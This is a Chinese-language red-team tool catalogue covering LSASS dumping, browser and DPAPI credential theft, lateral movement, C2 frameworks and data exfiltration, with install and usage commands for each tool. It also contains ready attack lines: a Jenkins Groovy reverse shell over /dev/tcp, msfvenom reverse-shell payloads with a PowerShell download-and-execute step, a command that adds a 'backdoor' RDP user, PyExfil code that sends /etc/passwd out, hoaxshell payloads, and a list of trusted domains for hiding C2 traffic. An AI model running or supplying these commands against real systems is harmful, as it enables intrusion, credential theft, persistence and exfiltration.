LSASS(本地安全认证子系统服务)是Windows操作系统里负责执行系统安全策略的进程,管着用户登录认证、安全策略执行和审计日志生成。
对这个进程创建转储可以让攻击者从进程内存中提取密码哈希或其他敏感信息,从而进一步攻陷系统。
该工具能创建LSASS进程的minidump。
安装:
git clone https://github.com/helpsystems/nanodump.git安装(Linux + MinGW):
make -f Makefile.mingw安装(Windows + MSVC):
nmake -f Makefile.msvc安装(仅CS):
在Cobalt Strike上导入NanoDump.cna脚本。
完整安装说明见这里。
使用方法:
# Run
nanodump.x64.exe
# 利用静默进程退出技术
nanodump --silent-process-exit C:\Windows\Temp\
# 利用Shtinkering技术
nanodump --shtinkering完整用法说明见这里。

eviltree
经典'tree'命令的Python3独立重制版,额外支持在文件中搜索用户提供的关键词/正则,并高亮匹配结果。主要两个用途:
- 在嵌套目录结构中搜索机密时,能直观看到哪些文件包含了用户指定的关键词/正则模式、这些文件在文件夹层级中的具体位置,这是个巨大的优势。
tree是个分析目录结构的绝佳工具。用于后渗透枚举时,有一个独立的替代品会非常方便——毕竟不是每个Linux发行版都预装了它,而Windows版的tree功能又相当有限(相比UNIX版)。
安装:
git clone https://github.com/t3l3machus/eviltree使用方法:
# 运行正则匹配/var/www中类似"password = something"的字符串
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
# 使用逗号分隔的关键词代替正则
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
SeeYouCM-Thief
简单的小工具,自动下载并解析Cisco电话系统的配置文件,从中找SSH凭据。
还可选通过UDS API枚举Active Directory用户。
安装:
git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt使用方法:
# 通过CUCM的UDS API枚举Active Directory用户
./thief.py -H <CUCM server> --userenum
# 不指定电话IP地址时,脚本将尝试下载列表中的每个配置。
./thief.py -H <Cisco CUCM Server> [--verbose]
# 解析Web界面获取CUCM地址,并对同子网中的其他电话进行反向查找。
./thief.py --phone <Cisco IP Phoner> [--verbose]
# 指定要扫描的网段并进行反向查找。
./thief.py --subnet <subnet to scan> [--verbose]
MailSniper
MailSniper是渗透测试工具,在Microsoft Exchange环境里用特定关键词(密码、内部情报、网络架构信息等)搜邮件。普通用户可搜自己的邮箱,Exchange管理员则可搜整个域里所有用户的邮箱。
MailSniper还包含了额外模块,用于密码喷洒、枚举用户和域、从OWA和EWS收集全局地址列表(GAL)以及检查组织中每个Exchange用户的邮箱权限。
不错的博文,更多信息见这里。
安装:
git clone https://github.com/dafthack/MailSniper
cd MailSniper
Import-Module MailSniper.ps1使用方法:
# 搜索当前用户邮箱
Invoke-SelfSearch -Mailbox current-user@domain.com
SharpChromium
SharpChromium是个.NET 4.0+ CLR项目,用来从Google Chrome、Microsoft Edge和Microsoft Edge Beta里提取数据。目前能提取:
- Cookie(JSON格式)
- 浏览历史(含每条记录关联的Cookie)
- Saved Logins
这个重写版相比之前的实现有几个优势,包括:
- 不需要类型编译或反射
- Cookie以JSON格式展示,方便导入Cookie Editor
- 不需要从远程下载SQLite程序集
- 支持主流Chromium浏览器(可扩展到其他浏览器)
安装:
使用Visual Studio Community Edition。
打开项目.sln文件,选"release",然后编译。
使用方法:
# 检索与Google Docs和Github关联的cookies
.\SharpChromium.exe cookies docs.google.com github.com
# 检索历史记录及其关联的cookies。
.\SharpChromium.exe history
# 检索已保存的登录信息(注意:仅显示非空密码的条目):
.\SharpChromium.exe logins
dploot
DPAPI(数据保护应用编程接口)提供了一套加密解密API,通常用用户密码来设"主密钥"(用户场景下)。所以要利用DPAPI拿到某些数据(Chrome Cookie/登录数据、Windows凭据管理器/Vault等),只要拿到密码就行。
dploot是Harmj0y用C#写的SharpDPAPI的Python重写版,而SharpDPAPI本身又是gentilkiwi从Mimikatz移植过来的DPAPI。它实现了这些工具的全部DPAPI逻辑,但这次可以用Python解释器在Linux环境中运行了。
安装(Pip):
pip install dploot安装(Git):
git clone https://github.com/zblurx/dploot.git
cd dploot
make使用方法:
# 以Windows本地管理员身份窃取解密的机器私钥文件
dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -quiet
# 以Windows域管理员身份窃取DPAPI备份密钥(允许攻击者窃取和解密与域用户相关的任何DPAPI保护密码)
dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.56.112 -quiet
# 利用DPAPI备份密钥`key.pvk`窃取域成员端点上的任意用户秘密
dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -pvk key.pvk -quiet发现
PCredz
这个工具从pcap文件或实时网卡中提取信用卡号、NTLM(DCE-RPC、HTTP、SQL、LDAP等)、Kerberos(AS-REQ Pre-Auth etype 23)、HTTP Basic、SNMP、POP、SMTP、FTP、IMAP等凭据。
安装:
git clone https://github.com/lgandx/PCredz使用方法: (PCAP File Folder)
python3 ./Pcredz -d /tmp/pcap-directory-to-parse/使用方法: (Live Capture)
python3 ./Pcredz -i eth0 -v
PingCastle
PingCastle用来快速评估Active Directory安全等级,方法论基于风险评估和成熟度框架。不求完美评估,追求效率与效果的平衡。
安装: (Download)
https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip使用方法:
./PingCastle.exe
Seatbelt
Seatbelt用来收集目标Windows机器详细安全态势信息,帮助发现潜在漏洞和攻击路径。
它设计用于在已沦陷的受害者机器上运行,收集当前安全配置信息,包括已安装的软件、服务、组策略和其他安全相关设置。
安装(编译):
Seatbelt针对.NET 3.5和4.0构建,使用C# 8.0特性,兼容Visual Studio Community Edition。
打开项目.sln文件,选"release",然后编译。
使用方法:
# 运行所有检查并输出到output.txt
Seatbelt.exe -group=all -full > output.txt
# 返回最近30天的4624登录事件
Seatbelt.exe "LogonEvents 30"
# 查询注册表三层深度,仅返回匹配正则.*defini.*的键/值名/值
Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"
# 对远程系统运行远程检查
Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""完整命令组和参数说明见这里。

ADRecon
收集目标Microsoft Active Directory(AD)环境信息的好工具,支持导出Excel格式。
可以在任何接入环境的终端上运行,即使不是域成员也行。
前置条件:
- .NET Framework 3.0或更高(Windows 7自带3.0)
- PowerShell 2.0或更高(Windows 7自带2.0)
安装(Git):
git clone https://github.com/sense-of-security/ADRecon.git安装(下载):
可以下载最新版本的zip压缩包。
使用方法:
# 在域成员主机上运行ADRecon。
PS C:\> .\ADRecon.ps1
# 以其他用户身份在域成员主机上运行ADRecon。
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
# 在非域成员主机上使用LDAP运行ADRecon。
PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>
# To run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT with -Collect parameter)
PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domain, DomainControllers完整用法和参数说明见这里。

adidnsdump
默认情况下Active Directory里任何用户都能枚举域或林DNS区域中的所有DNS记录,效果类似于区域传送。
这个工具能枚举和导出区域中所有DNS记录,用于内网侦察。
安装(Pip):
pip install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump安装(Git):
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .注意: 该工具需要impacket和dnspython才能运行。虽然Python 2和3都能用,但Python 3需要从GitHub安装impacket。
使用方法:
# 显示当前所在域的区域
adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp
# 显示域中所有区域
adidnsdump -u icorp\\testuser icorp-dc.internal.corp
# 解析所有未知记录(-r)
adidnsdump -u icorp\\testuser icorp-dc.internal.corp -r
kerbrute
通过Kerberos预认证快速爆破和枚举有效Active Directory账号的工具。
安装(Go):
go get github.com/ropnop/kerbrute安装(Make):
git clone https://github.com/ropnop/kerbrute
cd kerbrute
make all使用方法:
# 用户枚举
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
# 密码喷洒
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
# 暴力破解用户
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
# 暴力破解
./kerbrute -d lab.ropnop.com bruteforce -
scavenger
Scavenger是多线程后渗透扫描工具,用于翻找系统中的常用文件和文件夹以及包含敏感信息的"有趣"文件。
Scavenger解决的是渗透测试顾问在内网渗透测试中经常碰到的棘手问题:系统太多、权限太大,但测试天数有限。
安装:
先从这里安装CrackMapExec。
git clone https://github.com/SpiderLabs/scavenger
cd scavenger使用方法:
# 在受害者端点上搜索有价值的文件
python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local不错的博文。

横向移动
crackmapexec
在Windows/Active Directory环境里用凭据对(用户名:密码、用户名:哈希)横向移动的神器。还支持枚举登录用户、爬SMB共享、执行psexec式攻击、内存注入Mimikatz/Shellcode/DLL、PowerShell执行、dump NTDS.dit等功能。
安装:
sudo apt install crackmapexec使用方法:
crackmapexec smb <ip address> -d <domain> -u <user list> -p <password list>
WMIOps
WMIOps是个PowerShell脚本,利用WMI在Windows环境里对本机或远程主机执行各种操作。
由@christruncer开发。
记录发布细节的原始博文。
安装:(PowerShell)
git clone https://github.com/FortyNorthSecurity/WMIOps
Import-Module WMIOps.ps1使用方法:
# 在目标机器上执行用户指定的命令
Invoke-ExecCommandWMI
# 返回目标机器上所有正在运行的进程
Get-RunningProcessesWMI
# 检查目标机器上用户是否在桌面(或是否离开机器)
Find-ActiveUsersWMI
# 列出目标系统上所有本地和网络驱动器
Get-SystemDrivesWMI
# 通过WMI在目标主机内存中执行PowerShell脚本并返回输出
Invoke-RemoteScriptWithOutput

PowerLessShell
用MSBuild.exe远程执行PowerShell脚本和命令,且不会弹出powershell.exe。
安装:
git clone https://github.com/Mr-Un1k0d3r/PowerLessShell
cd PowerLessShell使用方法:
# 帮助
python PowerLessShell.py -h
# 生成PowerShell Payload
python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
# 生成Shellcode Payload
python PowerLessShell.py -source shellcode.raw -output malicious.csproj完整用法说明见这里。

PsExec
PsExec是Sysinternals工具套件的一部分,这套工具是管理和排查Windows系统的实用工具集合。
非常适合在目标机器上远程执行命令。
注意: 有些杀软会把PsExec检测为"远程管理"病毒。
安装:(PowerShell)
Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/PSTools.zip' -OutFile 'pstools.zip'
Expand-Archive -Path 'pstools.zip' -DestinationPath "$env:TEMP\pstools"
Move-Item -Path "$env:TEMP\pstools\psexec.exe" .
Remove-Item -Path "$env:TEMP\pstools" -Recurse使用方法:
# 阻止显示许可协议
psexec.exe /accepteula
# 在远程机器上运行'hostname'命令
psexec.exe \\REMOTECOMPUTER hostname
# 在域内所有机器上运行'hostname'命令
psexec.exe \\* hostname
# 在远程机器上运行本地可执行文件
psexec.exe \\REMOTECOMPUTER -c C:\Tools\program.exe
# 使用不同凭据运行'hostname'命令
psexec.exe \\REMOTECOMPUTER hostname -u localadmin -p secret-p@$$word
# 在远程机器上创建Shell
psexec.exe -s \\REMOTECOMPUTER cmd关于PsExec用法的不错博文。

LiquidSnake
LiquidSnake是一个不碰磁盘就能在Windows系统间横向移动的程序。
该工具依赖WMI事件订阅在内存中执行.NET程序集,.NET程序集会监听命名管道上的shellcode,然后使用线程劫持shellcode注入的变种技术来执行它。
项目由两个独立的解决方案组成:
CSharpNamedPipeLoader——通过GadgetToJScript转换成VBS的组件LiquidSnake——负责在远程系统上创建WMI事件订阅的组件
安装:
在Visual Studio中打开这两个解决方案并编译。CSharpNamedPipeLoader务必以x64架构为目标。
输出:两个独立的EXE文件:CSharpNamedPipeLoader.exe和LiquidSnake.exe
完整编译说明见这里。
使用方法:
对你有管理员权限的主机使用LiquidSnake.exe,如下:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local如果一切顺利,你应该能看到类似下面的输出:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day通用用法说明见这里。
LiquidSnake完整用法说明见这里。

启用RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" "backdoor" /add将Shell升级为Meterpreter
拿到基本shell后,升级到meterpreter会舒服很多。
【攻击机】 生成meterpreter shell:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
【目标机】 下载到目标端点:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"`【攻击机】 配置监听器:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port run`【目标机】 执行payload:
Start-Process "shell-name.exe"`
端口转发
有时候,拿下端点后会碰到本地端口。把这些内部端口映射成外部可达的端口,有助于横向移动到主机上的其他服务。
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:EXTERNAL_PORT,fork TCP:127.0.0.1:INTERNAL_PORT &Jenkins反弹Shell
如果你拿到了Jenkins脚本控制台的访问权,可以用它来在该节点上获取反弹Shell。
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()ADFSpoof
由Doug Bienstock @doughsec在Mandiant FireEye期间创建。
ADFSpoof有两个主要功能:
- 给定了AD FS配置数据库中的EncryptedPFX blob和Active Directory中的DKM解密密钥,生成可用于令牌签名的密钥/证书对。
- 给定了签名密钥,生成可用于访问联合应用的安全令牌。
该工具需要与ADFSDump配合使用。ADFSDump在AD FS服务器上运行,输出使用ADFSpoof所需的重要信息。
安装:
注意: ADFSpoof需要安装Python Cryptography包的一个自定义分支,下载地址见这里。
git clone https://github.com/mandiant/ADFSpoof
pip install -r requirements.txt使用方法:
# 解密EncryptedPFX并写入磁盘
python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
# 为Office365生成安全令牌
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn robin@doughcorp.co --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759完整用法说明见这里。
更多命令示例见这里。

Coercer
Python脚本,用多种方法自动强制Windows服务器向任意机器发起认证。
功能特性:
- 列出远程机器上开放的SMB管道(scan authenticated和fuzz authenticated模式)
- 尝试连接远程机器上一系列已知的SMB管道(scan unauthenticated和fuzz unauthenticated模式)
- 逐个调用所有存在漏洞的RPC函数,强制服务器对任意机器进行认证。
- 随机生成UNC路径以避免缓存失败的尝试(所有模式)
- 通过--delay参数配置尝试间隔
更多功能信息见这里。
安装:(pip)
sudo python3 -m pip install coercer使用方法:
# 扫描模式(评估机器上监听的远程过程调用)
./Coercer.py scan -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
# 强制模式(利用远程机器上的RPC强制认证到ntlmrelay或responder)
./Coercer.py coerce -l 192.168.1.2 -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
# Fuzz模式(Fuzz机器上监听的远程过程调用)
./Coercer.py fuzz -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
收集
BloodHound
Active Directory环境可视化工具,快速看清攻击路径,理解目标的AD属性。
安装: PenTestPartners Walkthrough
自定义查询: CompassSecurity BloodHoundQueries

Snaffler
Snaffler是面向Active Directory环境的高级凭据扫描/收集器。README写得很棒,值得一看 点这里。
Snaffler使用一套"分类器"系统,每个分类器检查共享、文件夹、文件或文件内容,把部分项目传给下一个分类器,其余的丢弃。每个分类器用一组规则来决定如何处理它分类的项目。
更多关于Snaffler规则的信息。
"大致来说——它从Active Directory获取Windows计算机列表,然后把Snaffle的触角探到所有机器上,找出哪些有文件共享,以及你能不能读取它们。" —— Snaffler README (2023)
安装:
可以从GitHub发布页下载二进制文件。
使用方法:
# 定向本地扫描(不太可能触发检测)
Snaffler.exe -s -i C:\
# 大范围扫描,找出所有东西
snaffler.exe -s -o snaffler.log
linWinPwn
linWinPwn是个bash脚本,自动化执行多种Active Directory枚举和漏洞检查。
该脚本使用了大量工具并作为它们的封装器。包括:impacket、bloodhound、crackmapexec、enum4linux-ng、ldapdomaindump、lsassy、smbmap、kerbrute、adidnsdump、certipy、silenthound等。
当你在Active Directory环境中只有有限的访问时间,又想自动化枚举过程、高效收集证据时,linWinPwn特别好用。
安装:
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn; chmod +x linWinPwn.sh
chmod +x install.sh
./install.sh使用方法:
# 默认:交互模式——打开交互菜单分别运行检查
./linWinPwn.sh -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]
# 自动配置——运行NTP同步并添加/etc/hosts条目后再运行模块
./linWinPwn.sh -t <Domain_Controller_IP> --auto-config
# LDAPS——使用LDAPS代替LDAP(端口636)
./linWinPwn.sh -t <Domain_Controller_IP> --ldaps
# 模块pwd_dump:密码导出
./linWinPwn.sh -t <Domain_Controller_IP> -M pwd_dump [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]完整用法说明见这里。

命令与控制 (C2)
可信站点寄生项目
防守方可以通过检测通往罕见域名的异常流量来发现C2植入。此外代理方案有时也会拦截到不受信域名的连接。
能通过可信域名隐藏C2流量,有助于保持隐蔽并降低在代理层被安全方案拦截的可能性。
该资源包含了一份可用于此目的的可信站点列表。
使用方法:
在搜索栏搜+C&C即可查看所有可用于C2操作的域名/子域名。
Results include:
- raw.githubusercontent.com
- docs.google.com
- *.azurewebsites.net
- dropbox.com
- *.amazonaws.com

Havoc
Havoc是个现代化、可塑性强的后渗透C2框架,由@C5pider创建。
功能包括:Sleep混淆、x64返回地址欺骗、Nt* API间接系统调用
前置条件: (Ubuntu 20.04 / 22.04)
sudo apt install build-essential
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev编译+使用:
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
make
./Havoc前置条件: (Ubuntu 20.04 / 22.04)
cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go编译+使用:
cd Teamserver
./Install.sh
make
./teamserver -h运行团队服务端
sudo ./teamserver server --profile ./profiles/havoc.yaotl -v --debug完整安装、编译和运行说明见Wiki

Covenant
Covenant是.NET写的C2框架,带Web界面,支持多用户协作。
可用于远程控制沦陷系统,执行各种任务,包括执行任意代码、捕获按键、窃取数据等。
安装(.NET Core):
可以从这里下载对应平台的.NET Core。
注意: 启动Covenant后,你必须通过Web界面注册初始用户。导航到Web界面即可注册初始用户。
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant使用(.NET Core):
~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
敏感数据日志已启用。日志条目和异常消息可能包含敏感应用数据,此模式应仅在开发期间启用。
WARNING: Covenant未以管理员权限运行。你可能无权在低位端口上启动监听器。请考虑以管理员权限运行Covenant。
Covenant已启动!在浏览器中访问 https://127.0.0.1:7443安装(Docker):
# 构建Docker镜像:
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
~/Covenant/Covenant > docker build -t covenant .使用(Docker):
# 在Docker容器中运行Covenant
~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v </absolute/path/to/Covenant/Covenant/Data>:/app/Data covenant
# 停止容器
~/Covenant/Covenant > docker stop covenant
# 交互式重启Covenant
~/Covenant/Covenant > docker start covenant -ai完整安装和启动说明见Wiki这里。

Merlin
Merlin是开源后渗透框架,设计用于系统初次沦陷后的后续操作。
Merlin用Python编写,可用于执行各种任务,比如执行任意代码、在内网横向移动、窃取数据等。
安装:
- 从发布页下载最新编译版Merlin Server
- 用7zip解压,密码是:merlin
- Start Merlin
- 配置监听器
- 部署agent。参考Agent执行快速入门指南
mkdir /opt/merlin;cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z
sudo ./merlinServer-Linux-x64使用方法:
- 确保Merlin server正在运行,监听器已配好
- 下载agent并部署到目标机器
- Execute agent
详细用法说明见Merlin官方Wiki。

Metasploit Framework
Metasploit是开发、测试和使用漏洞利用代码的开源框架。
Metasploit框架包含大量预置的漏洞利用和Payload,以及功能完备的集成开发环境(IDE),用于创建和测试自定义漏洞利用。
安装(安装包):
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall使用方法:
/opt/metasploit-framework/bin/msfconsole完整安装说明见官方Wiki。

Pupy
Pupy是开源跨平台(Windows、Linux、OSX、Android)C2和后渗透框架,用Python和C写成。
它允许攻击者远程控制受害者的计算机,执行各种操作,如命令执行、键盘记录和屏幕截图。
安装(Git):
sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyw执行以下修复来解决错误:
sudo pip2 install rpyc==3.4.4Start:
export PATH=$PATH:~/.local/bin; pupysh
pupyws/bin/pupysh安装(Docker):
详细的Docker和Pupy安装说明见Wiki。
使用方法:
# 用-h获取任何内置命令的帮助页面
>> sessions -h
>> jobs -h
>> run -h
# 与会话1交互
>> sessions -i 1
# 运行本地命令'ls'
>> !ls完整用法说明见Wiki。
Wiki里有不错的后渗透信息。

Brute Ratel
BruteRatel是强大的C4框架,由@NinjaParanoid创建。框架包含客户端组件'badger'(装在被控系统上)和服务端组件'commander'(红队操作端)。
客户端和服务端通过各种通信通道(如HTTP、DNS或TCP)相互通信,并可配置不同的编码和加密方法来规避检测。
一些亮点功能:
- DNS Over HTTPS
- Indirect Syscalls
- 内置调试器检测EDR用户态Hook
- MITRE ATT&CK图谱集成
- 攻击者TTP自动化
安装:
要合法使用该框架,需要购买许可证(每用户每年$2500)。更多信息见定价页面。
购买后可用激活码和许可证用户ID从这里下载框架。
使用方法:
# 将PowerShell脚本加载到内存中,可通过psreflect调用
psimport
# 锁定键盘和鼠标硬件输入。使用'unlock_input'命令解锁
lock_input
# 导出用户剪贴板
dumpclip
# 枚举基本域信息
dcenum
# 将用户权限提升至SYSTEM(需要管理员权限)
get_system
# 截取当前桌面截图并存储到服务端
screenshot
# 使用PssCaptureSnapshot技术将LSASS转储到C:\Windows\Memory.DMP
shadowclone完整的Commander终端用法说明见这里。

NimPlant
轻量级第一阶段C2植入体,用Nim语言编写。
功能特性:
- 用Nim编写的轻量可配置植入体
- 默认加密压缩所有流量,混淆植入体工件中的静态字符串
- 支持多种植入体类型,包括原生二进制(exe/dll)、shellcode或自删除可执行文件
- 通过
inline-execute、shinject(动态调用)或线程内execute-assembly轻松部署高级功能ly` - 全面记录所有交互和文件操作
安装:
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
choosenim stable
git clone https://github.com/chvancooten/NimPlant
cd client
nimble install -d
pip3 install -r server/requirements.txt
apt install mingw-w64使用方法:
# 生成Payload
python .\NimPlant.py compile all
# 启动服务端
python .\NimPlant.py server运行前确保创建了config.tool配置文件,更多信息见这里.
完整用法说明见这里。

Hoaxshell
Windows反向shell payload生成器和处理器,利用http(s)协议建立类似beacon的反向shell。
安装:
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py使用方法:
# 使用Invoke-Expression的Payload(默认)
sudo python3 hoaxshell.py -s <your_ip>
# 从文件写入并执行命令的Payload
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
# 使用可信证书的加密Shell会话
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>完整用法文档见这里。

数据渗出
Dnscat2
通过DNS建立C2连接的工具,即使攻击者和目标机器都在防火墙/NAT后面也能通。
这个工具设计得隐蔽性强、不容易被检测,因为它用的是合法的DNS流量来传输数据。
安装(编译-服务端):
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install安装(编译-客户端):
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make完整安装说明见安装章节。
使用(服务端):
# 建立服务端
ruby ./dnscat2.rb DOMAIN.COM使用:(客户端)
# 使用权威域名建立客户端
./dnscat2 DOMAIN.COM
# 不使用权威域名建立客户端
./dnscat2 --dns host=0.0.0.0,port=0000
# 从客户端Ping服务端
./dnscat --ping DOMAIN.COM
# 从客户端ping服务端,使用自定义DNS解析器IP
./dnscat --dns server=0.0.0.0,domain=DOMAIN.COM --ping使用:(隧道)
# (建立客户端连接后)可以打开新的隧道端口
listen [lhost:]lport rhost:rport
# 通过dnscat2客户端将SSH连接转发到内部设备
listen 127.0.0.1:2222 10.10.10.10:22完整用法说明见用法章节。

Cloakify
外传目标文件时DLP(数据防泄漏)方案通常会触发文件中的特征字符串。Cloakify通过数据变换来降低这个风险。
Cloakify把任意文件类型(.zip、.exe、.xls等)转换成一串看起来无害的字符串,让你在明面上隐藏文件,传输时也不触发告警。
注意: 你可以自制密码表,更多信息见这里。
安装:
git clone https://github.com/TryCatchHCF/Cloakify使用方法:
# 伪装文本
python3 cloakify.py TEXT.txt ciphers/desserts.ciph > TEXT.cloaked
# 还原文本
python3 decloakify.py TEXT.cloaked ciphers/desserts.ciph

PyExfil
一个Alpha-Alpha阶段的数据外泄技术演示包,尚未充分测试(欢迎反馈和提交),旨在展示真实场景中的多种数据外泄技术。
安装:
git clone https://www.github.com/ytisf/PyExfil;cd PyExfil;pip install -r requirements.txt;pip install py2exe;pip setup.py install使用方法:(完整用法见这里)
HTTP Cookie外传
from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file, listen
# 客户端(外传)
send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)
# 服务端(收集)
listen(local_addr='127.0.0.1', local_port=80)ICMP Echo 8外传
from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener
# 客户端(外传)
ip_addr = "127.0.0.1"
send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1)
# For Server (collecting)
init_listener(ip_addr, saving_location="/tmp/")NTP请求外传
from pyexfil.network.NTP.ntp_exfil import exfiltrate, ntp_listen, NTP_UDP_PORT
# 客户端(外传)
ip_addr = "127.0.0.1"
exfiltrate("/etc/passwd", ip_addr, time_delay=0.1)
# For Server (collecting)
ntp_listener(ip="0.0.0.0", port=NTP_UDP_PORT)
PowerShell RAT
基于Python的后门,用Gmail把数据作为邮件附件外传。它通过截屏追踪用户活动,把信息以邮件附件形式发给攻击者。
安装:
git clone https://github.com/Viralmaniar/Powershell-RAT使用方法:(完整用法见这里)
设置
- 准备一个一次性Gmail地址
- 前往 https://myaccount.google.com/lesssecureapps 启用"允许安全性较低的应用"
- 在Mail.ps1 PowerShell文件中修改你的账户的
$username和$password变量 - 用一次性Gmail地址修改
$msg.From和$msg.To.Add

GD-Thief
通过Google API从你有权限访问的目标Google Drive中外传文件的工具。
这包括所有共享文件、共享云端硬盘里的文件、以及目标有权访问的域内云端硬盘文件。
安装:
git clone https://github.com/antman1p/GD-Thief.git
cd GD-Thief
pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib然后操作如下:
- 新建一个Google Cloud Platform(GCP)项目
- 启用Google Workspace API
- 配置OAuth同意屏幕
- Create a credential
- 把目标Google账号添加到应用的测试用户中
详细设置说明见操作指南。
使用方法:
usage:
python3 gd_thief.py [-h] -m [{dlAll, dlDict[-d <DICTIONARY FILE PATH>]}
[-t <THREAD COUNT>]
help:
该模块将使用访问令牌连接Google API并外传文件
从目标Google Drive中外传文件。外传的文件将输出到./loot目录
arguments:
-m [{dlAll, dlDict}],
--mode [{dlAll, dlDict}]
The mode of file download
可选"dlAll"、"dlDict [-d <字典文件路径>]"等……(更多选项即将推出)
optional arguments:
-d <DICTIONARY FILE PATH>, --dict <DICTIONARY FILE PATH>
字典文件路径。下载模式"-m, --mode dlDict"时必填
你可以使用提供的字典,例如:"-d ./dictionaries/secrets-keywords.txt"
-t <THREAD COUNT>, --threads <THREAD COUNT>
线程数。(太多可能超出Google的速率限制阈值)
-h, --help
show this help message and exit不错的博文,讲解了该工具背后的逻辑。
goshs
goshs是给红队用的单文件文件服务器,替代python3 -m http.server。
支持HTTP/S、WebDAV、SFTP、SMB、NTLM哈希捕获、DNS/SMTP OOB回调、
认证和分享链接——一条命令全搞定。
安装:
go install goshs.de/goshs/v2@latest使用方法:
# 提供当前目录服务
goshs
# 使用HTTPS(自签名)和Basic认证提供服务
goshs -s -ss -b user:password
# 捕获连接Windows客户端的SMB NTLM哈希
goshs -smb -smb-domain CORP
# DNS + SMTP带外回调
goshs -dns -dns-ip 10.10.10.10 -smtp -smtp-domain redteam.local
影响
Conti渗透测试指南泄漏
